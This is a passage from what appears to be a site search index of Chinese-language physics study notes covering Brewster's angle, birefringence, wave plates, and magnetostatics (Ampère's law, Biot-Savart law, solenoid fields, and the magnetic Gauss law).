<p>\u5047\u8bbe\u5165\u5c04\u89d2\u4e3a\\(\\theta_1\\)\uff0c\u6298\u5c04\u89d2\u4e3a\\(\\theta_2\\)\uff0c\u5219\u6709</p> \\[ \\theta_1 + \\theta_2 = 90^\\circ \\] <p>\u6839\u636e\u6298\u5c04\u5b9a\u5f8b\uff0c\u6709</p> \\[ n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2 \\] <p>\u6240\u4ee5</p> \\[     n_1 \\sin \\theta_1 = n_2 \\sin \\theta_2   =   n_2 \\cos \\theta_1 \\] <p>\u6240\u4ee5</p> \\[     \\tan \\theta_1 = \\frac{n_2}{n_1} \\] <p>\u5982\u679c\u7ecf\u8fc7\u591a\u6b21\u53cd\u5c04\uff0c\u6bcf\u4e00\u6b21\u90fd\u4e3abrewster\u89d2\uff0c\u5219\u6700\u540e\u6298\u5c04\u51fa\u6765\u7684\u5149\u5927\u90e8\u5206\u90fd\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p>"},{"location":"NOTE/Physics/light/#birefringence","title":"\u53cc\u6298\u5c04\u73b0\u8c61(Birefringence)","text":"<p>\u53cc\u6298\u5c04\u73b0\u8c61</p> <p>\u53cc\u6298\u5c04\u73b0\u8c61\u662f\u6307\u5f53\u5149\u7ebf\u901a\u8fc7\u67d0\u4e9b\u5404\u5411\u5f02\u6027\u4ecb\u8d28\uff08\u5982\u65b9\u89e3\u77f3\u6676\u4f53\uff09\u65f6\uff0c\u4f1a\u5206\u88c2\u6210\u4e24\u675f\u504f\u632f\u65b9\u5411\u4e92\u76f8\u5782\u76f4\u7684\u5149\u7ebf\u3002\u8fd9\u4e24\u675f\u5149\u7ebf\u5206\u522b\u79f0\u4e3a\u666e\u901a\u5149\uff08o\u5149\uff09\u548c\u975e\u5e38\u5149\uff08e\u5149\uff09;</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u5f53\u4e00\u675f\u672a\u504f\u632f\u7684\u5149\u8fdb\u5165\u53cc\u6298\u5c04\u4ecb\u8d28\u65f6\uff0c\u4f1a\u5206\u88c2\u6210\u4e24\u675f\u5149\u7ebf\uff1a\u4e00\u675f\u9075\u5faa\u5e38\u89c4\u6298\u5c04\u5b9a\u5f8b\uff08\u65af\u6d85\u5c14\u5b9a\u5f8b\uff09\uff0c\u79f0\u4e3a\u666e\u901a\u5149(ordinary light, o\u5149)\uff1b\u53e6\u4e00\u675f\u5219\u4e0d\u9075\u5faa\u5e38\u89c4\u6298\u5c04\u5b9a\u5f8b\uff0c\u79f0\u4e3a\u975e\u5e38\u5149(extraordinary light, e\u5149)\u3002</p> <p>\u5bf9\u4e8eo\u5149\u6765\u8bf4\uff0c\u5176\u5728\u4ecb\u8d28\u4e2d\u56db\u9762\u516b\u65b9\u7684\u6298\u5c04\u7387\u76f8\u540c,\u5176\u901f\u5ea6\u6052\u7b49\u4e8e\\(v_o\\),\u5bf9\u4e8ee\u5149\u6765\u8bf4\uff0c\u5176\u5728\u4ecb\u8d28\u4e2d\u56db\u9762\u516b\u65b9\u7684\u6298\u5c04\u7387\u4e0d\u540c\uff0c\u5176\u901f\u5ea6\u5728\u4e0d\u540c\u65b9\u5411\u4e0a\u4ece\\(v_e\\)\u5230\\(v_o\\)\u53d8\u5316\u3002</p> <p>\u79f0\\(n_o=\\dfrac{c}{v_o}\\)\uff0c\\(n_e=\\dfrac{c}{v_e}\\)\u4e3a\u4e3b\u6298\u5c04\u7387\uff1b</p> <p>\u53cc\u6298\u5c04\u73b0\u8c61\u5e7f\u6cdb\u5e94\u7528\u4e8e\u5149\u5b66\u4eea\u5668\u4e2d\uff0c\u5982\u504f\u5149\u663e\u5fae\u955c\u3001\u6db2\u6676\u663e\u793a\u5668\u7b49\u3002</p> <p> </p> <p>\u5149\u7684\u5feb\u6162\u8f74</p> <p>\u5bf9\u4e8ee\u5149\u6765\u8bf4\uff0c\u5176\u6298\u5c04\u7387\u5728\u4ecb\u8d28\u4e2d\u4e0d\u540c\u65b9\u5411\u4e0d\u540c\uff0c\u6240\u4ee5\u5176\u4f20\u64ad\u901f\u5ea6\u4e0d\u540c\uff0c\u800c\u9891\u7387\u4e0d\u53d8\uff0c\u6240\u4ee5\u6ce2\u957f\u4f1a\u53d8\u5316\uff1b</p> <p>\u5bf9\u4e8e\u4f20\u64ad\u65b9\u5411\u5feb\u7684\uff1b\u6709</p> \\[      v_{fast} = f \\lambda_{fast} \\] <p>\u5bf9\u4e8e\u4f20\u64ad\u65b9\u5411\u6162\u7684\uff1b\u6709</p> \\[      v_{slow} = f \\lambda_{slow} \\] <p>\u5176\u4e2d\\(f\\)\u662f\u9891\u7387\uff0c\\(\\lambda\\)\u662f\u6ce2\u957f\u3002</p> <p>\u6240\u4ee5\\(\\lambda_{fast} &gt; \\lambda_{slow}\\)\u3002</p> <p> </p>"},{"location":"NOTE/Physics/light/#optical-axis","title":"\u5149\u8f74(Optical Axis)","text":"<p>o\u5149\u548ce\u5149\u6cbf\u7740\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u65f6\uff0c\u901f\u5ea6\u76f8\u540c\uff0c\u6298\u5c04\u7387\u76f8\u540c\uff0c\u5bf9\u4e8e \u8d1f\u6676\u4f53\u800c\u8a00 ,\\(n_o &gt; n_e\\),\\(v_o&lt; v_e\\)\uff0c\u5bf9\u4e8e \u6b63\u6676\u4f53\u800c\u8a00 \uff0c\\(n_o &lt; n_e\\)\uff0c\\(v_o &gt; v_e\\)\u3002</p> \u8d1f\u6676\u4f53 <p>\u5e38\u89c1\u7684\u8d1f\u6676\u4f53\u6709\\(CaCO_3\\)</p> \u6b63\u6676\u4f53 <p>\u5e38\u89c1\u7684\u6b63\u6676\u4f53\u6709\u4e8c\u6c27\u5316\u7845\\(SiO_2\\)</p> <p> \u5c06\u5149\u8f74\u548c\u5149\u7684\u4f20\u64ad\u65b9\u5411\u6784\u6210\u7684\u5e73\u9762\u79f0\u4e3a\u4e3b\u5e73\u9762(Principal Plane)\u3002</p> <ul> <li>o\u5149\uff1a\u632f\u52a8\u65b9\u5411\u5782\u76f4\u4e8e\u4e3b\u5e73\u9762\uff1b</li> <li>e\u5149\uff1a\u632f\u52a8\u65b9\u5411\u5e73\u884c\u4e8e\u4e3b\u5e73\u9762\uff1b</li> </ul> <p>\u5149\u8f74\u4e0e\u5feb\u6162\u8f74\u4e4b\u95f4\u7684\u5173\u7cfb</p> <p>\u8d1f\u6676\u4f53\u800c\u8a00,e\u5149\u5728\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u901f\u5ea6\u6700\u6162\uff0c\u5176\u5b83\u5730\u65b9\u6bd4o\u5149\u5feb\uff0c\u5149\u8f74\u4e3a\u6162\u8f74\uff0c\u4e0e\u5149\u8f74\u5782\u76f4\u7684\uff0c\u4f20\u64ad\u901f\u5ea6\u6700\u5feb\u7684\u65b9\u5411\u4e3a\u5feb\u8f74\uff1b</p> <p>\u6b63\u6676\u4f53\u800c\u8a00,e\u5149\u5728\u5149\u8f74\u65b9\u5411\u4f20\u64ad\u901f\u5ea6\u6700\u5feb\uff0c\u5176\u5b83\u5730\u65b9\u6bd4o\u5149\u6162\uff0c\u5149\u8f74\u4e3a\u5feb\u8f74\uff0c\u4e0e\u5149\u8f74\u5782\u76f4\u7684\uff0c\u4f20\u64ad\u901f\u5ea6\u6700\u6162\u7684\u65b9\u5411\u4e3a\u6162\u8f74\uff1b</p> <p>\u56fe\u4e2d\u753b\u865a\u7ebf\u7684\u4e3a\u5149\u8f74\uff0c\u5f53\u4e00\u675f\u5149\u7167\u5411\u8fd9\u6837\u7684\u7ed3\u6784\u65f6\uff0c\u53ef\u4ee5\u5c06\u5176\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u7531\u4e8e\u5149\u8f74\u65b9\u5411\u4e0ao\u5149\u548ce\u5149\u7684\u901f\u5ea6\u76f8\u540c\uff0c\u6240\u4ee5o\u5149\u548ce\u5149\u5728\u5149\u8f74\u65b9\u5411\u4e0a\u4f20\u64ad\u7684\u8ddd\u79bb\u76f8\u540c\uff0c\u6240\u4ee5o\u5149\u548ce\u5149\u5728\u5149\u8f74\u65b9\u5411\u4e0a\u7684\u76f8\u4f4d\u5dee\u4e3a0\uff0c\u4f46\u662f\u5728\u4f20\u64ad\u65b9\u5411\u4e0a\uff0ce\u5149\u7684\u901f\u5ea6\u4e3a\\(v_e\\)\uff0co\u5149\u7684\u901f\u5ea6\u4e3a\\(v_o\\)\uff0c\u6240\u4ee5e\u5149\u548co\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a</p> \\[     \\Delta \\phi = \\dfrac{2\\pi}{\\lambda} (n_e - n_o) d \\] <p>\u5176\u4e2d\\(d\\)\u662f\u7247\u7684\u539a\u5ea6</p> <p>QWP\u548cFWP</p> <ul> <li>QWP\uff1aQuarter Wave Plate\uff0c\u56db\u5206\u4e4b\u4e00\u6ce2\u7247\uff0c\\(\\Delta \\phi = \\dfrac{\\pi}{2}\\)</li> </ul> \\[     (n_o-n_e)d = \\pm \\dfrac{\\lambda}{4} \\] <ul> <li>HWP\uff1aHalf Wave Plate\uff0c\u534a\u6ce2\u7247\uff0c\\(\\Delta \\phi = \\pi\\)</li> </ul> \\[      (n_o-n_e)d = \\pm \\dfrac{\\lambda}{2} \\] <ul> <li>FWP\uff1aFull Wave Plate\uff0c\u5168\u6ce2\u7247\uff0c\\(\\Delta \\phi = 2\\pi\\)</li> </ul> \\[     (n_o-n_e)d = \\pm \\lambda \\] <p>\u5f53\u5149\u901a\u8fc7QWP\u65f6,o\u5149\u548ce\u5149\u7684\u76f8\u4f4d\u5dee\u4e3a\\(\\dfrac{\\pi}{2}\\);</p> <ul> <li> <p>\u5982\u679c\u662f\u7ebf\u504f\u632f\u5149,\u5219\u4e00\u5f00\u59cb\u5c06\u5176\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411,\u539f\u672c\u7684\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi\\),\u901a\u8fc7QWP\u540e,\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi+\\dfrac{\\pi}{2}\\),\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149\u3002</p> </li> <li> <p>\u5982\u679c\u662f\u5706\u504f\u632f\u5149,\u5219\u901a\u8fc7QWP\u540e,\u76f8\u4f4d\u5dee\u4e3a\\(k\\pi\\)\u3002\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u7ebf\u504f\u632f\u5149\u3002</p> </li> </ul> <p>\u4f8b\u5b50</p> <p> </p> <p>\u4e00\u675f\u81ea\u7136\u5149\u901a\u8fc745\u5ea6\u504f\u632f\u7247\u540e\uff0c\u51fa\u5c04\u7684\u5149\u4e3a\u7ebf\u504f\u632f\u5149\uff0c\u518d\u901a\u8fc7QWP\u540e\uff0c\u51fa\u5c04\u5149\u6ee1\u8db3</p> \\[ E_x =E_0 \\sin (kz-\\omega t) \\] \\[ E_y =-E_0 \\cos (kz-\\omega t) \\] <p>\u5373\u6162\u8f74\u4e0d\u53d8\uff0c\u5feb\u8f74\u53d8\u4e3a\\(\\sin(kz-\\omega t-\\dfrac{\\pi}{2})\\)\uff0c\u6240\u4ee5\u5408\u6210\u540e\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149\u3002\u4e3aRCP,\u6ce8\u610f\uff0c\u5feb\u8f74\u9886\u5148\uff0c\u6240\u4ee5\u5b83\u4f1a\u5148\u5230\u8fbe\u6700\u5927\uff0c\u6240\u4ee5\u662f\u51cf\u53bb\uff0c\u5728\u56fe\u4e0a\u770b\u6765\u4e5f\u662f\u5982\u6b64,\u4ece\u7f1d\u91cc\u51fa\u6765\u540e\uff0c\u5148\u9047\u5230\u4e86\u5feb\u8f74\u7684\u6700\u5927(\\(-y\\)\u65b9\u5411\u4e0a)\uff0c\u7136\u540e\u624d\u662f\u6162\u8f74\u7684\u6700\u5927\u3002</p> <p> </p> <p>\u4f8b\u5b50</p> <p> </p> <p>\u5bf9\u4e8e3A,\u7b2c\u4e00\u6b21\u65e0\u6cd5\u5c06\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4ecd\u4e3a\u539f\u5149\uff0c\u7b2c\u4e8c\u6b21\u5b8c\u5168\u88ab\u963b\u6321\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4e3a0\uff0c\\(I_1=0\\)</p> <p>\u5bf9\u4e8e3B,\u7b2c\u4e00\u6b21\u5c06\u632f\u52a8\u65b9\u5411\u5206\u89e3\u4e3ao\u5149\u548ce\u5149\u7684\u632f\u52a8\u65b9\u5411\uff0c\u7531\u4e8e\u662f\\(1/4\\)\u6ce2\u7247\uff0c\u6240\u4ee5\u51fa\u5c04\u7684\u5149\u4e3a\u5706\u504f\u632f\u5149,</p> \\[     E_s =E_f  = \\dfrac{E_0}{\\sqrt{2}} \\] <p>\u7b2c\u4e8c\u6b21\u76f8\u5f53\u4e8e\u4e24\u675f\u7ebf\u504f\u632f\u5149\u7ecf\u8fc7,\u7531\u9a6c\u9686\u5b9a\u5f8b\u53ef\u77e5</p> \\[     E'_s = E'_f =  \\dfrac{E_0}{\\sqrt{2}} \\cos 45^\\circ = \\dfrac{E_0}{2} \\] <p>\u7531\u4e8e\u5feb\u6162\u5149\u72ec\u7acb\u8870\u51cf\uff0c\u6240\u4ee5\u6700\u540e\u7684\u5149\u5f3a\u4e3a</p> \\[     I_2 = I_s + I_f = \\dfrac{E_0^2}{4} + \\dfrac{E_0^2}{4} = \\dfrac{I_0}{2} \\] <p>Danger</p> <p>\u867d\u8bf4e\u5149\u5e76\u4e0d\u6ee1\u8db3\u6298\u5c04\u5b9a\u5f8b\uff0c\u4f46\u662f\u6709\u4e00\u79cd\u4f8b\u5916\uff0c\u5f53\u5149\u8f74\u4e0e\u5165\u5c04\u9762\u5782\u76f4\u65f6(\u4e3b\u5e73\u9762\u4e0e\u5165\u5c04\u9762\u5782\u76f4,\u5149\u8f74\u548c\u6cd5\u7ebf\u5e73\u884c)\uff0ce\u5149\u6ee1\u8db3\u6298\u5c04\u5b9a\u5f8b,\u6709</p> \\[     n_e \\sin \\theta_e = n_1 \\sin \\theta_1 \\] <p>\u548c</p> \\[     n_o \\sin \\theta_o  = n_1 \\sin \\theta_1 \\] <p> \u793a\u610f\u56fe </p> <p>\u4e0d\u8981\u628a\u6cd5\u7ebf\u548c\u5149\u8f74\u641e\u6df7\u4e86(-_-)</p>"},{"location":"NOTE/Physics/magnetism/","title":"\u78c1\u5b66\u90e8\u5206","text":"<p> \u7ea6 2862 \u4e2a\u5b57  \u9884\u8ba1\u9605\u8bfb\u65f6\u95f4 10 \u5206\u949f</p> <p>Table of contents</p>"},{"location":"NOTE/Physics/magnetism/#amperes-law","title":"Ampere's Law","text":"<p>\u5bf9\u4e8e\u7535\u5b66\uff0c\u6211\u4eec\u6709\u5e93\u4ed1\u5b9a\u5f8b</p> \\[     d \\boldsymbol{F} = \\frac{1}{4 \\pi \\epsilon_0} \\frac{dq_1 dq_2}{r^2} \\] <p>Ampere's Law</p> \\[ dF_{12} = \\frac{\\mu_0}{4 \\pi} \\frac{i_2 ds_2 \\times (i_1ds_1 \\times \\hat{r_{12}})}{r_{12}^2} \\] <p>\u5176\u4e2d\uff0c\\(\\mu_0\\) \u662f\u771f\u7a7a\u78c1\u5bfc\u7387\uff0c\\(i_1, i_2\\) \u662f\u7535\u6d41\uff0c\\(ds_1, ds_2\\) \u662f\u7535\u6d41\u5143\u957f\u5ea6\uff0c\\(r_{12}\\) \u662f\u7535\u6d41\u5143\u4e4b\u95f4\u7684\u8ddd\u79bb\u3002</p> <p>Newton's Third Law</p> <p>Case 1: \u4e24\u7535\u6d41\u5143\u5e73\u884c  </p> \\[     F_{12} = \\frac{\\mu_0}{4 \\pi} \\frac{i_2 ds_2 \\times (i_1ds_1 \\times \\hat{r_{12}})}{r_{12}^2} \\] \\[     F_{21} = \\frac{\\mu_0}{4 \\pi} \\frac{i_1 ds_1 \\times (i_2ds_2 \\times \\hat{r_{21}})}{r_{21}^2} \\] \\[     F_{12} = -F_{21} \\] <p>Case 2: \u4e24\u7535\u6d41\u5143\u5782\u76f4</p> \\[     F_{12} = 0 \\] \\[     F_{21} = \\frac{\\mu_0}{4 \\pi} \\frac{i_1 ds_1 \\times (i_2ds_2 \\times r_{21})}{r_{21}^2} \\neq 0 \\] Why? <p>\u8fd9\u53ea\u662f\u4e00\u5c0f\u6bb5\u7684\u7535\u6d41\u5143\uff0c\u5f53\u8003\u8651\u4e00\u6574\u6bb5\u7535\u6d41\u65f6\uff0c\u5f97\u5230\u7684\u7ed3\u679c\u5e76\u4e0d\u8fdd\u80cc\u725b\u987f\u7b2c\u4e09\u5b9a\u5f8b\uff0c\u5f53\u5e74\u5b89\u57f9\u5c31\u662f\u5229\u7528\u76f8\u4e92\u5782\u76f4\u65f6\u7684\u8fd9\u4e00\u7279\u6027\uff0c\u5de7\u5999\u7684\u8bbe\u8ba1\u4e86\u5b9e\u9a8c\u6765\u8bc1\u660e\u4e86\u5b89\u57f9\u5b9a\u5f8b\u3002</p>"},{"location":"NOTE/Physics/magnetism/#biot-savart-law","title":"Biot-Savart Law","text":"<p>\u7ee7\u7eed\u6839\u636e\u7535\u573a\u4e2d\u7684\u601d\u60f3\uff0c\u5f15\u5165\u8bd5\u63a2\u7535\u6d41\u6e90\u5e76\u5b9a\u4e49 \u78c1\u611f\u5e94\u5f3a\u5ea6</p> <p>\u5982\u679c\u56fa\u5b9a\u4e00\u4e2a\u7535\u6d41\u5143\uff0c\u79ef\u5206\u53e6\u4e00\u7535\u6d41\u5143\uff0c\u6211\u4eec\u6709</p> \\[      d\\boldsymbol{F}_2 = i_2 d\\boldsymbol{s}_2 \\times \\frac{\\mu_0}{4\\pi} \\int_{L_1} \\frac{i_1 d\\boldsymbol{s}_1 \\times \\hat{r}_{12}}{r_{12}^2}  \\] <p>\u5b9a\u4e49\uff1a</p> \\[      \\boldsymbol{B}_1 = \\frac{\\mu_0}{4\\pi} \\int_{L_1} \\frac{i_1 d\\boldsymbol{s}_1 \\times \\hat{r}_{12}}{r_{12}^2}  \\] <p>\u56e0\u6b64\uff1a</p> \\[      d\\boldsymbol{F}_2 = i_2 d\\boldsymbol{s}_2 \\times \\boldsymbol{B}_1  \\] <p>\u78c1\u611f\u5e94\u5f3a\u5ea6</p> \\[     \\boldsymbol{B} = \\frac{\\mu_0}{4\\pi} \\int_{L} \\frac{i d\\boldsymbol{s} \\times \\hat{r}}{r^2} \\] <p>\u5355\u4f4d\u4e3a \\(T\\)\uff0c\u7279\u65af\u62c9\u3002</p> \u4e3a\u4ec0\u4e48\u4e0d\u662f\u78c1\u573a\u5f3a\u5ea6\uff1f <p>\u5982\u679c\u8981\u5b8c\u5168\u8ddf\u7535\u573a\u5bf9\u5e94\uff0c\u5e94\u8be5\u4f7f\u7528\u78c1\u573a\u5f3a\u5ea6\uff0c\u4f46\u662f\u5374\u53eb\u78c1\u611f\u5e94\u5f3a\u5ea6\uff0c\u8fd9\u662f\u56e0\u4e3a\u5927\u5bb6\u90fd\u8fd9\u4e48\u53eb</p>"},{"location":"NOTE/Physics/magnetism/#_2","title":"\u957f\u76f4\u5bfc\u7ebf\u5468\u56f4\u7684\u78c1\u573a\u573a","text":"\\[\\begin{align*}     d\\boldsymbol{B} &amp;= \\frac{\\mu_0}{4\\pi} \\frac{i d\\boldsymbol{s} \\times \\hat{r}}{r^2} \\\\     d B &amp;= \\frac{\\mu_0}{4\\pi} \\frac{i ds \\sin \\theta}{r^2}\\\\     B &amp;= \\frac{\\mu_0}{4\\pi} \\int_{A_1}^{A_2} \\frac{i ds \\sin \\theta}{r^2}\\\\     r &amp;= \\frac{r_0}{\\sin \\theta}\\\\     s &amp;= r_0 \\cot (\\pi - \\theta) = -r_0 \\cot \\theta\\\\     ds &amp;= r_0 \\csc^2 \\theta d\\theta= r_0 \\frac{d \\theta}{\\sin^2 \\theta} \\\\     B &amp;= \\frac{\\mu_0 i}{4\\pi r_0} \\int_{\\theta_1}^{\\theta_2} \\sin \\theta d\\theta\\\\       &amp;= \\frac{\\mu_0 i}{4\\pi r_0} (\\cos \\theta_1 - \\cos \\theta_2) \\end{align*}\\] <p>\u5982\u679c\u662f\u65e0\u9650\u957f\uff0c\u5219</p> \\[     B = \\frac{\\mu_0 i}{2\\pi r_0} \\] <p>\u4e5f\u5c31\u662f\u8bf4\uff0c\u65e0\u9650\u957f\u76f4\u5bfc\u7ebf\u5468\u56f4\u7684\u78c1\u611f\u5e94\u5f3a\u5ea6\u4e0e\u8ddd\u79bb\u6210\u53cd\u6bd4\u3002</p> <p>Note</p> <p>\u56de\u5fc6\u7535\u573a\u4e2d\u7684\u65e0\u9650\u957f\u76f4\u5bfc\u7ebf\uff0c\u5176\u7535\u573a\u5f3a\u5ea6\u4e0e\u8ddd\u79bb\u6210\u53cd\u6bd4\u3002</p> \\[     E = \\frac{\\lambda}{2\\pi \\epsilon_0 r} \\]"},{"location":"NOTE/Physics/magnetism/#_3","title":"\u5706\u7535\u6d41\u8f74\u7ebf\u4e0a\u7684\u78c1\u573a","text":"<p>\u5176\u4e2d\u7531\u4e8e\u5bf9\u79f0\u6027\u5728\u4e0e\u5706\u73af\u5e73\u884c\u7684\u65b9\u5411\u4e0a\uff0c\u78c1\u611f\u5e94\u5f3a\u5ea6\u4e3a\u96f6\u3002</p> \\[     dB = \\frac{\\mu_0}{4\\pi} \\frac{i ds \\sin \\theta}{r^2} = \\frac{\\mu_0}{4\\pi} \\frac{i ds}{r^2}(\\theta = \\frac{\\pi}{2}) \\] \\[     dB_x= dB \\cos \\alpha= \\frac{\\mu_0}{4 \\pi} \\frac{i ds}{r^2} \\cos \\alpha \\] \\[     r=\\frac{r_0}{\\sin \\alpha} \\] \\[     B= \\frac{\\mu_0 i}{4\\pi r_0^2} \\int_{s} \\sin^2 \\alpha \\cos \\alpha ds =\\frac{\\mu_0 i}{4\\pi r_0} \\sin^2 \\alpha \\cos \\alpha 2 \\pi R \\] \\[     \\sin \\alpha = \\frac{r_0}{\\sqrt{r_0^2 + R^2}} \\enspace \\cos \\alpha = \\frac{R}{\\sqrt{r_0^2 + R^2}} \\] \\[     B = \\frac{\\mu_0}{2} \\frac{iR^2}{(r_0^2 + R^2)^{3/2}} \\] <p>Note</p> <p>\u5f53 \\(r_0 \\to 0\\) \u65f6\uff0c\\(B \\to \\frac{\\mu_0 i}{2R}\\)</p> <p>\u5f53 \\(r_0 \\to \\infty\\) \u65f6\uff0c\\(B \\to \\frac{\\mu_0 i}{2r_0^3}R^2\\) \u4e0e \\(r_0^3\\) \u6210\u53cd\u6bd4\u3002\u5728\u78c1\u573a\u4e2d\uff0c\u7535\u5076\u6781\u77e9\u5728\u65e0\u7a77\u8fdc\u5904\u4ea7\u751f\u7684\u7535\u573a\u4e5f\u4e0e \\(r^3\\) \u6210\u53cd\u6bd4\u3002</p> <p>\u5b9a\u4e49\u78c1\u5076\u6781\u77e9</p> \\[     \\boldsymbol{m} = i \\pi R^2 \\] <p>\u5219</p> \\[     B =  \\frac{\\mu_0 i}{2r_0^3}R^2 = \\frac{\\mu_0 m}{2 \\pi r_0^3} \\] <p>\u5982\u679c\u6709N\u531d\u7ebf\u5708\uff0c\u5219</p> \\[     B =  \\frac{\\mu_0 N i}{2r_0^3}R^2 = \\frac{\\mu_0 N m}{2 \\pi r_0^3} \\] <p>\u6216\u8005\u4ee4 \\(m' = N i \\pi R^2\\),</p> \\[     B = \\frac{\\mu_0 m'}{2 \\pi r_0^3} \\]"},{"location":"NOTE/Physics/magnetism/#_4","title":"\u7535\u6d41\u5e73\u9762\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u7531\u4e8e\u5bf9\u79f0\u6027\uff0c\u5728\u53ea\u4f1a\u5728\\(x\\)\u65b9\u5411\u4e0a\u4ea7\u751f\u78c1\u573a</p> \\[  dB = \\frac{\\mu_0 di}{2\\pi d} = \\frac{\\mu_0 \\frac{i}{a} dx}{2\\pi d}  \\] \\[  dB_x = dB \\cdot \\cos \\theta  \\] \\[  d = \\frac{R}{\\cos \\theta}  \\] \\[  B_x = \\int dB_x = \\int \\frac{\\mu_0 i \\cos^2 \\theta dx}{2\\pi Ra} = \\frac{\\mu_0 i}{2\\pi aR} \\int \\cos^2 \\theta dx  \\] \\[  x = R \\tan \\theta, \\quad dx = \\frac{R \\, d\\theta}{\\cos^2 \\theta}  \\] \\[  B_x = \\frac{\\mu_0 i}{2\\pi aR} \\int \\cos^2 \\theta dx = \\frac{\\mu_0 i}{2\\pi a} \\int_{-\\alpha}^{\\alpha} d\\theta = \\frac{\\mu_0 i}{\\pi a} \\alpha = \\frac{\\mu_0 i}{\\pi a} \\tan^{-1} \\frac{a}{2R}  \\] <p>Note</p> <p>\u5f53 $a \\to 0,\\alpha \\to \\tan\\alpha =  \\dfrac{a}{2R} $ \u65f6\uff0c\\(B_x \\to \\dfrac{\\mu_0 i}{2\\pi R}\\)</p> <p>\u5f53 \\(a \\to \\infty, \\alpha \\to \\dfrac{\\pi}{2}\\) \u65f6, \\(B_x \\to \\dfrac{\\mu_0 i}{2 a}=\\dfrac{1}{2}\\mu_0 n i_0\\),n\u4e3a\u5355\u4f4d\u957f\u5ea6\u7535\u6d41\u6570\u76eei_0\u4e3a\u5355\u4f4d\u7535\u6d41</p>"},{"location":"NOTE/Physics/magnetism/#_5","title":"\u5355\u5c42\u901a\u7535\u87ba\u65cb\u7ba1\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u5728\u901a\u7535\u87ba\u65cb\u7ba1\u5185\u90e8\uff0c\u4f1a\u4ea7\u751f\u5300\u5f3a\u78c1\u573a</p> <p>\u8bbe\\(x\\)\u4e3a\u70b9P\u636e\u4e2d\u5fc3\u8f74\u7ebf\u7684\u6c34\u5e73\u8ddd\u79bb\uff1b\u87ba\u7ebf\u7ba1\u957f\u5ea6\u4e3a\\(L\\),\u5355\u4f4d\u957f\u5ea6\u531d\u6570\u4e3a\\(n\\)\uff0c\u6bcf\u531d\u7535\u6d41\u4e3a\\(i\\)\u3002</p> <p>\u6839\u636e\u78c1\u5076\u6781\u77e9\u4ea7\u751f\u7684\u78c1\u573a\u516c\u5f0f</p> \\[     dB = \\dfrac{\\mu_0 m}{2\\pi r^3}=\\dfrac{\\mu_0 n i dl \\pi R^2}{2\\pi (\\sqrt{R^2+(x-l)^2})^3} \\] \\[    r=\\dfrac{R}{\\sin \\beta} \\quad \\dfrac{x-l}{R} =\\cot \\beta \\quad dl = \\dfrac{R d\\beta}{\\sin^2 \\beta} \\] \\[     B =\\frac{\\mu_0}{2} n i \\int_{\\beta_1}^{\\beta_2} \\sin \\beta d\\beta = \\frac{\\mu_0}{2} n i (\\cos \\beta_1 - \\cos \\beta_2)   \\] <p>Note</p> <p>\\(L \\to \\infty\\) \u65f6\uff0c\\(B = \\mu_0 n i\\)</p>"},{"location":"NOTE/Physics/magnetism/#_6","title":"\u591a\u5c42\u901a\u7535\u87ba\u7ebf\u7ba1\u4ea7\u751f\u7684\u78c1\u573a","text":"<p>\u4ece\u4e0b\u5f80\u4e0a\uff0c\u9010\u5c42\u79ef\u5206</p> \\[     dB=\\frac{\\mu_0}{2} n i (\\cos \\beta_1 - \\cos \\beta_2)   \\] <p>\\(ni\\) \u4e3a\u6bcf\u4e00\u5c42\u5355\u4f4d\u957f\u5ea6\u7684\u7535\u6d41\uff0c</p> \\[     ni = \\frac{N'i}{L} =\\frac{jLdr}{L}=jdr=\\frac{Ni}{L(R_2-R_1)}dr \\] <p>\u5176\u4e2d\\(N'\\)\u4e3a\u6bcf\u4e00\u5c42\u7684\u531d\u6570\uff0c\\(j\\)\u7535\u6d41\u5bc6\u5ea6\uff0c\\(R_1,R_2\\)\u4e3a\u5185\u5916\u534a\u5f84\uff0c\\(N\\)\u4e3a\u603b\u531d\u6570\u3002</p> \\[     \\cos \\beta_1 - \\cos \\beta_2 =2\\cos \\beta_1 =\\dfrac{2l}{\\sqrt{l^2+r^2}} \\] \\[     dB=\\frac{\\mu_0}{2} jdr \\frac{2l}{\\sqrt{l^2+r^2}} \\quad B =\\mu_0 j l \\int_{R_1}^{R_2} \\frac{dr}{\\sqrt{r^2+l^2}} \\] \\[     B = \\mu_0 j l \\ln \\dfrac{R_2+\\sqrt{R_2^2+l^2}}{R_1+\\sqrt{R_1^2+l^2}} \\] \u8be6\u7ec6\u8fc7\u7a0b <p>\u6bc1\u4e86\u554a\uff0csecx\u7684\u539f\u51fd\u6570\u90fd\u8bb0\u4e0d\u4f4f</p> <p> </p>"},{"location":"NOTE/Physics/magnetism/#gauss","title":"\u78c1\u573a\u7684Gauss\u5b9a\u5f8b\u548c\u56de\u8def\u5b9a\u5f8b","text":"<p>\u78c1\u573a\u4e2d\u7684Guass\u5b9a\u5f8b</p> \\[     \\oiint \\boldsymbol{B} \\cdot d \\boldsymbol{A} = 0 \\] <p>Proof</p> <p> </p> <p>\u8003\u8651\u5728\u8f74\u7ebf\u5904\u7684\\(ids\\)\u4ea7\u751f\u7684\u78c1\u573a\uff0c\u5bf9\u4e8e\u7ea2\u8272\u7684\u95ed\u5408\u66f2\u9762\uff0c\u53ef\u4ee5\u8003\u8651\u4e00\u4e2a\u7a7f\u8fc7\u53bb\u7684\u5c0f\u5706\u73af\uff1b</p> \\[ dA_1^* = 